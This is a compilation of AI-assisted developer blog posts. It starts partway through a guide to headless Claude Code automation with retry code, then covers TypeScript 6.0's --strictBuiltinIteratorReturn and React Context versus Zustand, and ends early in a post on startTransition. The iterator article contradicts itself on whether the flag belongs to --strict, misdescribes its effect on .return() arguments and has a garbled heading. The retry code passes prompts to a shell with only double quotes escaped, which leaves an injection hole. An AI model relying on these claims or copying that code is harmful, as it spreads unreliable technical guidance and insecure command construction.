Parallelism	One session per developer	Unlimited concurrent agents
Supervision	Developer monitors progress	Runs unattended; alerts on failure

The use case determines which mode fits. Interactive shell suits exploratory work where requirements evolve during the conversation: debugging an unfamiliar codebase, designing a new feature's architecture, or learning how a legacy system works. Headless mode suits repeatable tasks with clear specifications: nightly dependency updates, post-merge code formatting, or automated security patch application.

The failure mode is using interactive patterns in automation contexts. Prompts that assume Claude will ask clarifying questions produce incomplete output when run headless. Code that expects the developer to review diffs before proceeding leaves the repository in an inconsistent state if an error occurs mid-task. Successful headless automation requires prompts that specify error handling, validation steps, and rollback procedures explicitly.

Production Patterns: Error Handling, Retries, and Logging in Autonomous Tasks

Autonomous Claude Code agents need production-grade error handling to survive transient API failures, timeout conditions, and unexpected repository states. The pattern separates retriable errors (network timeouts, rate limits) from terminal errors (invalid prompts, permission denied) and implements exponential backoff for transient failures.

import { execSync } from 'child_process';
import { appendFileSync } from 'fs';

interface RetryConfig {
  maxAttempts: number;
  baseDelayMs: number;
  maxDelayMs: number;
}

class ClaudeAgentError extends Error {
  constructor(
    message: string,
    public readonly retriable: boolean,
    public readonly stdout: string,
    public readonly stderr: string
  ) {
    super(message);
  }
}

async function executeWithRetry(
  prompt: string,
  config: RetryConfig = {
    maxAttempts: 3,
    baseDelayMs: 1000,
    maxDelayMs: 30000
  }
): Promise<string> {
  let lastError: ClaudeAgentError | null = null;

  for (let attempt = 1; attempt <= config.maxAttempts; attempt++) {
    try {
      const output = execSync(
        `claude -p "${prompt.replace(/"/g, '\\"')}" --format json --no-session-persistence`,
        { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], timeout: 300000 }
      );

      logSuccess(prompt, output, attempt);
      return output;

    } catch (error) {
      const isRetriable = isRetriableError(error);
      lastError = new ClaudeAgentError(
        `Attempt ${attempt} failed: ${error.message}`,
        isRetriable,
        error.stdout || '',
        error.stderr || ''
      );

      logFailure(prompt, lastError, attempt);

      if (!isRetriable || attempt === config.maxAttempts) {
        break;
      }

      const delayMs = Math.min(
        config.baseDelayMs * Math.pow(2, attempt - 1),
        config.maxDelayMs
      );

      console.log(`Retriable error, waiting ${delayMs}ms before retry ${attempt + 1}...`);
      await sleep(delayMs);
    }
  }

  throw lastError;
}

function isRetriableError(error: any): boolean {
  const stderr = error.stderr || '';
  const retriablePatterns = [
    /rate limit/i,
    /timeout/i,
    /network error/i,
    /ECONNREFUSED/i,
    /ETIMEDOUT/i,
    /503 Service Unavailable/i
  ];

  return retriablePatterns.some(pattern => pattern.test(stderr));
}

function logSuccess(prompt: string, output: string, attempt: number): void {
  const logEntry = {
    timestamp: new Date().toISOString(),
    status: 'success',
    attempt,
    promptLength: prompt.length,
    outputLength: output.length
  };

  appendFileSync(
    '/var/log/claude-agent/execution.log',
    JSON.stringify(logEntry) + '\n'
  );
}

function logFailure(prompt: string, error: ClaudeAgentError, attempt: number): void {
  const logEntry = {
    timestamp: new Date().toISOString(),
    status: 'failure',
    attempt,
    retriable: error.retriable,
    message: error.message,
    stderr: error.stderr.slice(0, 500)
  };

  appendFileSync(
    '/var/log/claude-agent/execution.log',
    JSON.stringify(logEntry) + '\n'
  );
}

function sleep(ms: number): Promise<void> {
  return new Promise(resolve => setTimeout(resolve, ms));
}

// Example usage in production automation
async function productionRefactorTask(): Promise<void> {
  try {
    const result = await executeWithRetry(
      'Migrate all console.log statements to structured logging with our @company/logger package. Preserve log levels and add request correlation IDs where available.'
    );

    const parsed = JSON.parse(result);
    console.log(`Task completed: ${parsed.files_changed.length} files modified`);

  } catch (error) {
    if (error instanceof ClaudeAgentError && !error.retriable) {
      console.error('Terminal error, manual intervention required:', error.message);
      process.exit(1);
    } else {
      console.error('All retry attempts exhausted:', error.message);
      process.exit(2);
    }
  }
}

The retry logic distinguishes between errors that resolve with time (rate limits, network blips) and errors that require code changes (malformed prompts, file permission issues). Exponential backoff with a maximum delay cap prevents infinite waiting while giving transient issues time to resolve. The logging structure uses JSON for easy parsing by log aggregation systems like Elasticsearch or Datadog.

This distinction is critical. A production agent that retries permission errors indefinitely burns API quota without making progress. An agent that gives up immediately on network timeouts fails tasks that would have succeeded with a single retry. The cost of getting this wrong is wasted compute resources and manual intervention overhead.

For CI/CD integration, configure alerting thresholds based on error patterns. Three consecutive rate limit errors suggests your automation cadence exceeds API quota. Repeated timeout errors on the same repository indicates the codebase size requires longer timeout values or prompt scope reduction. Terminal errors like permission denied warrant immediate alerts because they represent configuration problems that block all automation.

The patterns covered here provide the foundation for autonomous Claude Code workflows that run reliably without supervision. Teams building on this foundation add task-specific validation (compile checks after refactoring, test execution after code generation) and domain-specific error recovery (rollback failed schema migrations, notify on-call engineers when critical services fail automated updates). That covers the essential patterns for headless Claude Code automation. Apply these in production and the difference will be immediate.

Frequently Asked Questions

What happens to session data when using `--no-session-persistence`?

Claude skips writing any session history to disk and starts each invocation with a clean slate, ensuring reproducible results across runs. The session data disappears entirely when the process exits.

Can headless mode run tasks that require file system access outside the repository?

Headless Claude Code operates with the same file system permissions as the invoking process. If your script runs as a user with access to /etc or system directories, Claude can read and modify those files, but this approach creates security risks and should be avoided in production.

How do you handle prompts longer than shell command-line limits?

Write the prompt to a temporary file and use command substitution: claude -p "$(cat prompt.txt)". For programmatic usage, pass the prompt via stdin instead of -p to bypass argument length restrictions entirely.

Does headless execution support the same tool integrations as interactive mode?

Yes, headless mode has access to all tools (file operations, shell commands, search) unless you restrict them with --allowedTools. The difference is that headless execution cannot ask clarifying questions if a tool operation fails, so prompts must include fallback instructions.

What is the performance impact of running ten parallel headless agents versus sequential execution?

Wall-clock time drops nearly linearly with parallelism up to your API rate limit, but total token consumption and cost remain identical. The tradeoff is infrastructure load: ten concurrent processes consume more CPU and memory than one sequential process, and you hit rate limits faster if other systems share the same API quota.

TypeScript 6.0 `--strictBuiltinIteratorReturn`: What Changes When Iterators Finally Have Correct Return Types

jsmanifest — Tue, 15 Sep 2026 14:48:41 +0000

TypeScript 6.0 `--strictBuiltinIteratorReturn`: What Changes When Iterators Finally Have Correct Return Types

This article was written with the assistance of AI, under human supervision and review.

Most iterator type safety problems stem from a single design decision made in TypeScript 2.3: the return value of iterator.next() was typed as any for built-in iterators. This worked well enough for basic iteration, but it allowed dangerous type mismatches to slip through whenever code called .return() or .throw() on an iterator. TypeScript 6.0 closes this loophole with --strictBuiltinIteratorReturn, and the changes will surface bugs in code that assumed iterator protocol methods could accept arbitrary values.

The problem manifests when developers pass values to iterator methods that the iterator cannot actually handle. Array iterators, for example, ignore the argument to .return() entirely, but TypeScript allowed any type to flow through unchecked. This silent mismatch meant runtime behavior and type signatures diverged in ways that only became visible during refactoring or when debugging unexpected iterator state.

TypeScript 6.0 changes this by setting BuiltinIteratorReturn to undefined when --strictBuiltinIteratorReturn is enabled. This means built-in iterators now correctly reflect their actual behavior: they do not consume or propagate return values. The type system finally matches the JavaScript specification.

Key Takeaways

Built-in iterators in TypeScript now return undefined instead of any when calling .return() or .throw() under --strictBuiltinIteratorReturn.
Code that passes values to iterator protocol methods will produce type errors, revealing previously silent bugs where those values were ignored at runtime.
The flag is not part of --strict by default in TypeScript 6.0, giving teams time to migrate before a future major version enforces it.
Migration requires auditing iterator-consuming code for manual .next() calls with arguments, explicit .return() invocations, and generator functions that yield or return typed values.
Opt-out remains available for codebases that depend on legacy iterator libraries expecting the old any behavior.

Understanding BuiltinIteratorReturn and Why It Defaulted to `any`

The BuiltinIteratorReturn type parameter controls what TypeScript infers as the return type when you call .return(value) on a built-in iterator. Before TypeScript 6.0, this parameter defaulted to any, which meant the compiler accepted any value passed to iterator protocol methods without validation.

This design choice solved a practical problem in 2017: JavaScript iterators existed in the wild with inconsistent return value handling, and TypeScript needed to support them all without breaking existing code. The decision to use any made migration easier but introduced a type hole that developers exploited unknowingly.

When you enable --strictBuiltinIteratorReturn, TypeScript changes BuiltinIteratorReturn from any to undefined. This reflects the actual behavior of built-in JavaScript iterators: array iterators, string iterators, and set iterators all ignore the argument passed to .return(). The specification defines this as a no-op for these iterator types.

The consequence is immediate: code that passed typed values to .return() will now produce type errors. These errors are not false positives. They reveal places where your code assumed the iterator would consume a value, but the runtime ignored it. The type system was lying, and now it tells the truth.

The type parameter matters most for generator functions and custom iterators that return meaningful values from .return(). A generator that yields numbers but returns a string when closed has a return type that must match the iterator protocol. Under the old rules, TypeScript allowed mismatches. Under the new rules, the types must align exactly.

How `--strictBuiltinIteratorReturn` Changes Iterator Type Inference

The flag affects how TypeScript infers the TReturn parameter in Iterator<T, TReturn, TNext>. Built-in iterators like arrays, maps, and strings now infer TReturn as undefined instead of any, which cascades through every function that accepts or returns an iterator.

This change is visible in three places: explicit iterator method calls, for-of loops that interact with iterator state, and generator functions that yield values. The most common breaks occur in code that manually drives an iterator by calling .next(), .return(), or .throw().

function consumeIterator<T>(iter: Iterator<T>): T[] {
  const results: T[] = [];
  let result = iter.next();

  while (!result.done) {
    results.push(result.value);
    result = iter.next();
  }

  // This line now produces a type error
  iter.return({ cleanup: true });

  return results;
}

const numbers = [1, 2, 3][Symbol.iterator]();
consumeIterator(numbers);

The error message is specific: Argument of type '{ cleanup: boolean }' is not assignable to parameter of type 'undefined'. The iterator does not accept a cleanup object because built-in iterators do not process return values. The code was always wrong, but TypeScript 5.x accepted it.

The fix depends on intent. If the goal was to signal cleanup to a custom iterator, the function signature must specify that the iterator accepts return values. If the goal was to close the iterator without passing data, remove the argument entirely.

// Correct approach 1: Accept only iterators with return values
function consumeIteratorWithCleanup<T>(
  iter: Iterator<T, { cleanup: boolean }>
): T[] {
  const results: T[] = [];
  let result = iter.next();

  while (!result.done) {
    results.push(result.value);
    result = iter.next();
  }

  iter.return({ cleanup: true });
  return results;
}

// Correct approach 2: Close without passing data
function consumeIterator<T>(iter: Iterator<T>): T[] {
  const results: T[] = [];
  let result = iter.next();

  while (!result.done) {
    results.push(result.value);
    result = iter.next();
  }

  iter.return();
  return results;
}

The second approach works with built-in iterators because .return() is optional and can be called without arguments. The type system now enforces this distinction.

Real-World Code That Breaks When You Enable This Flag

The most common break appears in middleware that wraps iterators for logging, rate-limiting, or transformation. These wrappers often pass arbitrary metadata to .return() under the assumption that the underlying iterator might use it. Under --strictBuiltinIteratorReturn, TypeScript rejects this unless the wrapper explicitly types the iterator to accept return values.

class RateLimitedIterator<T> implements Iterator<T> {
  constructor(
    private source: Iterator<T>,
    private delay: number
  ) {}

  next(): IteratorResult<T> {
    return this.source.next();
  }

  return(value?: unknown): IteratorResult<T> {
    // Type error: source.return expects undefined
    return this.source.return({ 
      rateLimited: true,
      delay: this.delay 
    });
  }
}

The wrapper assumes the source iterator will handle the metadata, but built-in iterators ignore it. The fix is to remove the argument or change the source type to a custom iterator that accepts return values.

Another common break occurs in generator functions that return typed values. Before TypeScript 6.0, a generator could return any type without matching the iterator return signature. Now the types must align exactly.

function* generateWithMetadata(): Generator<number, string, void> {
  yield 1;
  yield 2;
  // Return value must be string, not number
  return 42; // Type error
}

This catches real bugs. If code expected the generator to return a string for cleanup or logging, but the generator returned a number, the mismatch would cause silent failures downstream. TypeScript now surfaces this at compile time.

Comparing Iterator vs Iterator in Practice

The difference between these two signatures is subtle but expensive when it matters. An iterator typed with any as the return parameter accepts any value passed to .return(), while an iterator typed with undefined rejects everything except undefined.

The practical consequence appears in code that chains iterators or composes them with utility functions. A function that accepts Iterator<T, any> allows callers to pass built-in iterators with false type safety. A function that accepts Iterator<T, undefined> enforces correct usage at the call site.

Consider a function that exhausts an iterator and returns collected values. Under the old rules, the function could accept any iterator and call .return(metadata) without type errors, even though built-in iterators ignore metadata.

// Old signature (dangerous)
function exhaust<T>(iter: Iterator<T, any>): T[] {
  const values: T[] = [];
  let result = iter.next();

  while (!result.done) {
    values.push(result.value);
    result = iter.next();
  }

  iter.return({ exhausted: true }); // Silently ignored
  return values;
}

// New signature (safe)
function exhaust<T>(iter: Iterator<T>): T[] {
  const values: T[] = [];
  let result = iter.next();

  while (!result.done) {
    values.push(result.value);
    result = iter.next();
  }

  iter.return(); // Type-safe
  return values;
}

The new signature prevents callers from passing values to .return(), which matches runtime behavior. The old signature allowed it, which created a false impression that the iterator would process the value.

This distinction is critical when migrating large codebases. Functions typed with Iterator<T, any> must be audited manually because TypeScript cannot infer which iterators actually use return values and which ignore them. The compiler can only check syntax, not intent.

Migration Strategy: Fixing Iterator-Based Code for TypeScript 6.0

The migration path starts with enabling --strictBuiltinIteratorReturn in a test environment and collecting type errors. These errors fall into three categories: explicit .return() calls with arguments, generator functions with mismatched return types, and utility functions that accept overly permissive iterator signatures.

For each error, the first question is whether the return value was intentional. If the code called .return(metadata) but the iterator is a built-in array or string iterator, the argument was always ignored. Remove it. If the code called .return(value) on a custom iterator that actually processes the value, change the type signature to reflect that.

Generator functions require special attention because their return type must match both the explicit return statement and the iterator protocol. A generator that yields numbers and returns a string must be typed as Generator<number, string, void>, not Generator<number>.

// Before: implicit any return
function* processItems(items: string[]) {
  for (const item of items) {
    yield item.length;
  }
  return "complete"; // Implicitly any
}

// After: explicit return type
function* processItems(items: string[]): Generator<number, string, void> {
  for (const item of items) {
    yield item.length;
  }
  return "complete";
}

The third category involves utility functions that wrap or transform iterators. These functions must decide whether they accept only built-in iterators or support custom iterators with return values. The choice affects the type signature and determines which iterators can be passed.

A transformer that only works with built-in iterators should use Iterator<T> or Iterator<T, undefined>. A transformer that supports custom iterators should use Iterator<T, TReturn> and propagate the return type through the transformation.

// Built-in iterators only
function map<T, U>(
  iter: Iterator<T>,
  fn: (value: T) => U
): Iterator<U> {
  return {
    next() {
      const result = iter.next();
      if (result.done) {
        return result;
      }
      return { done: false, value: fn(result.value) };
    },
    return() {
      iter.return?.();
      return { done: true, value: undefined };
    }
  };
}

// Custom iterators with return values
function map<T, U, TReturn>(
  iter: Iterator<T, TReturn>,
  fn: (value: T) => U
): Iterator<U, TReturn> {
  return {
    next() {
      const result = iter.next();
      if (result.done) {
        return result;
      }
      return { done: false, value: fn(result.value) };
    },
    return(value?: TReturn) {
      return iter.return?.(value) ?? { done: true, value: undefined as any };
    }
  };
}

The second version preserves the return type, which allows custom iterators to propagate cleanup signals or final values through the transformation. The first version discards return values, which is correct for built-in iterators but breaks custom iterator semantics.

When to Explicitly Opt Out of strictBuiltinIteratorReturn

Opt-out is necessary when migrating a codebase that depends on third-party iterator libraries written before TypeScript 6.0. These libraries often typed iterator return values as any because that was the only way to support both built-in and custom iterators without excessive type annotations.

The decision to opt out should be temporary. Long-term type safety depends on migrating these libraries or wrapping them with correct types. Disabling the flag indefinitely means accepting silent bugs in iterator protocol code.

A second reason to opt out is when the codebase uses iterator-heavy abstractions that would require weeks of refactoring to align with the new types. In this case, the team should plan a dedicated migration sprint rather than attempting to fix everything during a routine upgrade.

The opt-out configuration is straightforward. Set strictBuiltinIteratorReturn: false in tsconfig.json to disable the flag even when --strict is enabled. This allows incremental migration without blocking other strict mode features.

{
  "compilerOptions": {
    "strict": true,
    "strictBuiltinIteratorReturn": false
  }
}

Teams should track the opt-out as technical debt and prioritize migration before TypeScript 7.0, where the flag will likely become non-optional under --strict. The type system is moving toward correctness, and delaying migration only increases the eventual cost.

Frequently Asked Questions

Does enabling strictBuiltinIteratorReturn break for-of loops?

No. For-of loops do not call .return() explicitly, so they remain type-safe regardless of the flag. The flag only affects code that manually drives iterators by calling protocol methods.

Can I enable this flag without enabling all of strict mode?

Yes. The flag is independent and can be enabled even when strict is false. Set "strictBuiltinIteratorReturn": true in tsconfig.json to opt in selectively.

Why did TypeScript wait until 6.0 to make this change?

The change required breaking existing code that relied on the any behavior, which violates TypeScript's stability guarantees for minor versions. Major versions allow breaking changes, so TypeScript 6.0 was the first opportunity to fix this long-standing type hole.

What happens to generators that return void?

Generators that return void are unaffected. The flag only changes inference for iterators that explicitly return typed values. A generator with no return statement or a return statement without a value continues to work as before.

Do I need to update third-party iterator libraries?

Only if those libraries expose iterator return types in their public API. Libraries that return opaque iterators or use Iterator<T> without specifying return types will continue to work without changes.

Conclusion: Why This Flag Matters for Long-Term Type Safety

The --strictBuiltinIteratorReturn flag closes a type safety gap that existed since TypeScript 2.3. Built-in iterators now have correct return types that match their runtime behavior, which prevents silent bugs where code passed values to iterator methods that ignored them. The migration cost is real, but the payoff is a type system that tells the truth about iterator protocol semantics.

Teams should enable the flag during the next major upgrade cycle and plan time to fix type errors systematically. The errors reveal places where types and runtime behavior diverged, which means fixing them improves code quality beyond satisfying the compiler. That covers the essential patterns for TypeScript 6.0 iterator types. Apply these in production and the difference will be immediate.

For broader context on migrating to TypeScript 6.0, see TypeScript 5 to 6 Migration: 200K Lines and TypeScript 6 Migration Guide. If you work with form validation where iterator types surface in field processing, TypeScript Form Validators Custom covers the practical implications.

React Context in 2026: When It Still Beats Zustand and When It Quietly Destroys Performance

jsmanifest — Mon, 14 Sep 2026 06:12:41 +0000

React Context in 2026: When It Still Beats Zustand and When It Quietly Destroys Performance

This article was written with the assistance of AI, under human supervision and review.

Most React performance problems stem from treating Context API as a state manager when it is a dependency injection mechanism. Teams reach for Context to avoid prop drilling, watch their component tree re-render on every keystroke, and then wonder why production feels sluggish. The distinction between dependency injection and state management is critical. One provides values down the tree. The other tracks changes and notifies subscribers. Context does the former. Zustand does the latter.

The confusion is expensive. A Context provider wrapping your app root with a frequently changing value triggers re-renders in every consuming component, even those that ignore the changed field. Zustand solves this with selective subscriptions. Developers choose Zustand when they need fine-grained reactivity. They keep Context for values that change rarely or never. In 2026, the decision tree is clear, but teams still ship slow apps because the failure mode is subtle.

This post shows when Context still wins, when it destroys performance, and how to decide between the two. The pattern that works is simple: use Context for dependency injection (theme, auth session, router) and Zustand for state management (form data, UI toggles, derived state).

Key Takeaways

Context API is a dependency injection tool, not a state manager. It passes stable values down the tree but triggers re-renders in all consumers when the value changes.
Zustand provides selective subscriptions. Components only re-render when the specific slice of state they read changes, avoiding the cascade problem.
Use Context for values that change rarely: theme, locale, authentication session, feature flags. Use Zustand for frequently changing state: form inputs, UI toggles, filters.
The hybrid pattern combines both: Context injects stable dependencies (like the Zustand store itself), while Zustand manages reactive state inside those boundaries.
The performance failure mode is subtle. Context feels fine in development with small component trees but collapses under production load when hundreds of components consume the same provider.

What Context Actually Is (and What It Isn't)

Context is React's built-in dependency injection system. It solves the problem of passing values through many layers of components without manually threading props. When a component calls useContext, it reads the nearest provider value up the tree. This works well for values that stay stable across renders: a theme object, a locale string, an authentication session.

Context provider supplies value to nested consumers through the component tree

The key constraint is that Context has no subscription mechanism. When the provider's value changes, React re-renders every component that called useContext for that context, regardless of whether that component uses the changed field. This design decision makes sense: Context is for dependency injection, not for tracking granular state changes.

The implication here is that Context works beautifully for stable values. A theme object changes when the user clicks a toggle. An auth session changes on login or logout. A locale string changes when the user switches languages. These events happen rarely, so the re-render cost is negligible. The failure mode appears when developers use Context for frequently changing state.

The Re-Render Problem: Why Context Quietly Destroys Performance

The Context re-render cascade is subtle because it does not throw errors or log warnings. Developers build a form with Context to avoid prop drilling, ship to production, and notice lag only when hundreds of users type simultaneously. The problem is structural: Context has no way to tell React which components care about which fields.

// Problem: every consumer re-renders on any field change
type FormState = {
  username: string;
  email: string;
  password: string;
  bio: string;
};

const FormContext = createContext<FormState | null>(null);

function FormProvider({ children }: { children: React.ReactNode }) {
  const [state, setState] = useState<FormState>({
    username: "",
    email: "",
    password: "",
    bio: ""
  });

  return (
    <FormContext.Provider value={state}>
      {children}
    </FormContext.Provider>
  );
}

function UsernameField() {
  const form = useContext(FormContext);
  // Re-renders when email, password, or bio changes
  return <input value={form?.username} />;
}

function EmailField() {
  const form = useContext(FormContext);
  // Re-renders when username, password, or bio changes
  return <input value={form?.email} />;
}

Each field component re-renders whenever any field in the context changes. Type one character in the username input and both components re-render. In a form with ten fields and fifty consuming components, this becomes a performance cliff. The browser struggles to keep up with the re-render cascade, and the UI feels sluggish.

The workaround developers reach for is splitting contexts: one context per field. This solves the cascade problem but creates a new one. Now the component tree is littered with provider wrappers, each adding overhead. The code becomes harder to reason about because state that logically belongs together is scattered across multiple contexts. The failure mode here is organizational complexity.

When Context Still Beats Zustand in 2026

Context wins when the value changes rarely and the cost of an external dependency matters. Theme, locale, authentication session, and feature flags are the canonical use cases. These values initialize once at app load, change on explicit user actions, and do not need fine-grained subscriptions.

Comparison between Context for stable values and Zustand for reactive state

The bundle size difference matters for teams shipping to low-bandwidth markets. Context is built into React. Zustand adds 1.2KB gzipped. For apps that only need dependency injection, adding Zustand is unnecessary weight. The tradeoff is clear: if the value changes once per session, Context is sufficient. If it changes once per second, Zustand is necessary.

Context also wins when the team wants to avoid external dependencies entirely. Some organizations have strict policies around third-party packages. Context is part of React core, so it bypasses approval processes. The failure mode here is choosing Context for the wrong reasons and paying the performance cost later.

The decision boundary is frequency of change. A shopping cart that updates on every item addition needs Zustand. A user preferences object that updates on settings save works fine with Context. The pattern that scales is using Context as the outer shell for stable values and Zustand inside for reactive state.

The Selective Subscription Problem Zustand Solves

Zustand provides a subscription mechanism that Context lacks. When a component calls a Zustand selector, it subscribes only to the slice of state that selector returns. Change a different slice and the component does not re-render. This matters because it decouples component re-renders from state structure.

// Solution: selective subscriptions with Zustand
import { create } from 'zustand';

type FormStore = {
  username: string;
  email: string;
  password: string;
  bio: string;
  setUsername: (username: string) => void;
  setEmail: (email: string) => void;
  setPassword: (password: string) => void;
  setBio: (bio: string) => void;
};

const useFormStore = create<FormStore>((set) => ({
  username: "",
  email: "",
  password: "",
  bio: "",
  setUsername: (username) => set({ username }),
  setEmail: (email) => set({ email }),
  setPassword: (password) => set({ password }),
  setBio: (bio) => set({ bio })
}));

function UsernameField() {
  const username = useFormStore((state) => state.username);
  const setUsername = useFormStore((state) => state.setUsername);
  // Only re-renders when username changes
  return <input value={username} onChange={(e) => setUsername(e.target.value)} />;
}

function EmailField() {
  const email = useFormStore((state) => state.email);
  const setEmail = useFormStore((state) => state.setEmail);
  // Only re-renders when email changes
  return <input value={email} onChange={(e) => setEmail(e.target.value)} />;
}

The selector function is the key. Zustand compares the return value of the selector before and after a state change using shallow equality. If the value is the same, the component does not re-render. This distinction is critical because it shifts the performance optimization from manual memoization to automatic subscription diffing.

The pattern scales to derived state. A component that reads a filtered list subscribes only to the filter criteria and the source list. Change an unrelated field and the component stays silent. This is the problem Context cannot solve without manual memoization and useMemo wrappers, which developers forget to apply consistently.

The failure mode with Zustand is creating selectors that return new objects every time. Developers write (state) => ({ username: state.username, email: state.email }) and wonder why the component re-renders on every state change. The object literal creates a new reference, so shallow equality fails. The fix is returning primitives or using Zustand's shallow comparator for multi-field selections.

Real-World Decision Tree: Context vs Zustand

The decision between Context and Zustand comes down to three questions: How often does the value change? How many components consume it? Does the value need to persist across unmounts?

Decision flowchart for choosing between Context and Zustand

For values that change rarely, Context is sufficient. Theme, authentication session, and locale are the poster children. These values initialize once and change on explicit user actions. The re-render cost is negligible because the change happens infrequently. The implementation is simpler because Context is built into React.

For values that change frequently, Zustand is necessary. Form inputs, filter criteria, and UI toggles update on every keystroke or click. Without selective subscriptions, the re-render cascade destroys performance. Zustand provides the subscription mechanism that Context lacks, making it the correct tool for reactive state.

For values that need to persist across component unmounts, Zustand offers built-in persistence middleware. Developers write persist(storeConfig, { name: 'cart-storage' }) and the store syncs to localStorage automatically. Context requires manual useEffect hooks to achieve the same result. The pattern that scales is storing the persistence logic in the store definition rather than scattering it across components.

The failure mode is choosing Context for frequently changing state because it avoids adding a dependency. Teams ship slow apps, users complain about lag, and the fix requires refactoring the entire state layer. The cost of choosing wrong is high. The decision tree above prevents that failure.

Hybrid Pattern: Using Both Context and Zustand Together

The pattern that works best in production combines Context for dependency injection and Zustand for state management. Context provides the store instance, and Zustand handles the reactive state inside. This matters because it keeps the component tree clean while enabling selective subscriptions.

// Hybrid pattern: Context injects the store, Zustand manages state
import { create } from 'zustand';
import { createContext, useContext } from 'react';

type CartStore = {
  items: Array<{ id: string; quantity: number }>;
  addItem: (id: string) => void;
  removeItem: (id: string) => void;
};

const createCartStore = () => create<CartStore>((set) => ({
  items: [],
  addItem: (id) => set((state) => ({
    items: [...state.items, { id, quantity: 1 }]
  })),
  removeItem: (id) => set((state) => ({
    items: state.items.filter((item) => item.id !== id)
  }))
}));

type CartStoreType = ReturnType<typeof createCartStore>;
const CartContext = createContext<CartStoreType | null>(null);

export function CartProvider({ children }: { children: React.ReactNode }) {
  const storeRef = useRef<CartStoreType>();
  if (!storeRef.current) {
    storeRef.current = createCartStore();
  }
  return (
    <CartContext.Provider value={storeRef.current}>
      {children}
    </CartContext.Provider>
  );
}

export function useCartStore<T>(selector: (state: CartStore) => T): T {
  const store = useContext(CartContext);
  if (!store) throw new Error('useCartStore must be used within CartProvider');
  return store(selector);
}

// Usage
function CartButton() {
  const itemCount = useCartStore((state) => state.items.length);
  return <button>Cart ({itemCount})</button>;
}

Hybrid pattern execution flow showing Context providing store and Zustand managing subscriptions

The hybrid pattern solves the dependency injection problem without sacrificing performance. Context provides the store instance once at the provider boundary. Components use a custom hook that combines useContext and the Zustand selector. The store instance is stable, so Context does not trigger re-renders. The selector subscribes to specific slices, so only relevant components re-render.

This approach works well for feature-scoped state. A shopping cart, a multi-step form, or a data table can each have its own Context-wrapped Zustand store. The stores do not pollute the global scope, and the component tree stays clean. The pattern scales because it combines the locality of Context with the reactivity of Zustand.

The failure mode is over-engineering. Not every piece of state needs this pattern. A single component's local state should stay local. The hybrid pattern is for state that multiple components share but that needs to stay scoped to a feature. The decision boundary is whether the state crosses component boundaries and changes frequently enough to need selective subscriptions.

Frequently Asked Questions

When should developers split a Zustand store into multiple stores?

Split stores by feature boundary, not by data type. A shopping cart, user preferences, and notification state should be separate stores because they update independently and rarely interact. Combining them into one store creates unnecessary coupling and makes selective subscriptions harder to reason about.

Does Context API cause performance problems in server components?

Server components do not re-render, so Context has no performance cost there. The problem appears when Context wraps client components that consume frequently changing values. Keep Context providers high in the tree for stable values and use Zustand for reactive state in client components.

Can Zustand replace Redux in large production apps?

Zustand handles most Redux use cases with less boilerplate. The exception is apps that need time-travel debugging or strict action logging for compliance. Redux DevTools integration is stronger in Redux than Zustand. For standard UI state management, Zustand scales to large apps without the ceremony Redux requires.

How do developers debug Zustand stores in production?

Zustand integrates with Redux DevTools. Call devtools(storeConfig) when creating the store and the DevTools extension tracks state changes. For production debugging, add custom middleware that logs actions to an observability service. The pattern is creating a middleware function that wraps set and sends events to your monitoring stack.

What happens when multiple components call the same Zustand selector?

Zustand deduplicates subscriptions internally. If ten components call the same selector, Zustand tracks one subscription and notifies all ten when the slice changes. This matters because it avoids subscription overhead while maintaining per-component reactivity.

Conclusion: Pick the Right Tool for the Right Problem

The Context versus Zustand decision is not about which tool is better. It is about matching the tool to the problem. Context is for dependency injection: stable values that change rarely and need to be available throughout a subtree. Zustand is for state management: reactive values that change frequently and need selective subscriptions.

The failure mode most teams hit is using Context for frequently changing state because it avoids adding a dependency. The performance cost is subtle in development and catastrophic in production. The pattern that scales is using Context for theme, auth, and locale, and Zustand for form data, UI toggles, and derived state.

The hybrid pattern combines both: Context injects the store instance, and Zustand manages reactive state inside. This approach keeps the component tree clean while enabling fine-grained subscriptions. Apply this pattern when state needs to be scoped to a feature but shared across multiple components. For more on managing complex state patterns, see Jotai's atomic state approach and optimizing React component lifecycles.

That covers the essential patterns for choosing between Context and Zustand. Apply these in production and the difference will be immediate. Teams that match the tool to the problem ship faster apps with less code. The decision tree is clear: rarely changing, stable values go in Context. Frequently changing, reactive state goes in Zustand. Everything else is a variant of those two cases.

React `startTransition` Without `useTransition`: The Standalone API Teams Keep Overlooking in Concurrent Mode

jsmanifest — Sun, 13 Sep 2026 05:27:56 +0000

React `startTransition` Without `useTransition`: The Standalone API Teams Keep Overlooking in Concurrent Mode

This article was written with the assistance of AI, under human supervision and review.

Most React concurrent-mode problems stem from teams treating useTransition as the only entry point. The pattern developers overlook is React's standalone startTransition export, a function that schedules low-priority updates without requiring component scope. This distinction is critical. When event handlers live in third-party stores, synchronous callbacks fire outside the React tree, or non-component modules need to trigger deferred updates, useTransition becomes unavailable. Teams either abandon concurrent scheduling or force awkward component boundaries to access the hook. The standalone API eliminates both compromises.

The failure mode here is subtle but expensive. Reach for useTransition in a click handler inside a Zustand store and React throws "Invalid hook call". Move that handler into a component wrapper to fix the error and the store logic fragments across boundaries. Use useState alone to avoid the hook restriction and every state update blocks rendering, reintroducing the jank concurrent mode was meant to solve. The standalone startTransition function imported directly from react schedules transitions anywhere synchronous JavaScript runs, no component context required.

Before: useTransition hook throws error when called outside component scope

The solution is mechanical. Import startTransition as a named export and wrap state updates that should not block urgent work. The function signature matches useTransition's callback argument but stands alone. No hooks, no component tree, no special context. The React scheduler marks those updates as deferred, processes urgent updates first, then commits transitions when the main thread quiets. Production codebases gain concurrent benefits in layers React components never touch.

After: startTransition schedules transitions without hooks from any synchronous context

Key Takeaways

React exports startTransition as a standalone function that schedules low-priority updates without requiring component scope or hooks.
Use the standalone API when transitions originate in third-party stores, event handlers outside components, or synchronous callbacks where useTransition is unavailable.
The trade-off is deterministic: startTransition schedules deferred updates but provides no isPending flag, unlike useTransition which returns both the scheduling function and a pending boolean.
Combining startTransition in stores with useTransition in components gives concurrent scheduling across boundaries while preserving loading indicators where users see them.
The performance gain is immediate, urgent updates render first and transitions commit when the main thread idles, eliminating the jank from blocking state changes in non-React code.

Understanding startTransition vs useTransition

The standalone startTransition function and the useTransition hook solve the same scheduling problem but serve different contexts. Both mark state updates as low priority so React can process urgent work first. The difference is in return values and caller requirements. useTransition is a hook that returns a tuple: the startTransition callback and an isPending boolean. The hook requires component scope and obeys React's rules of hooks. The standalone function is a plain JavaScript export that accepts a callback and returns nothing. Developers call it from any synchronous context, no component, no custom hook wrapper, no restrictions beyond standard function semantics.

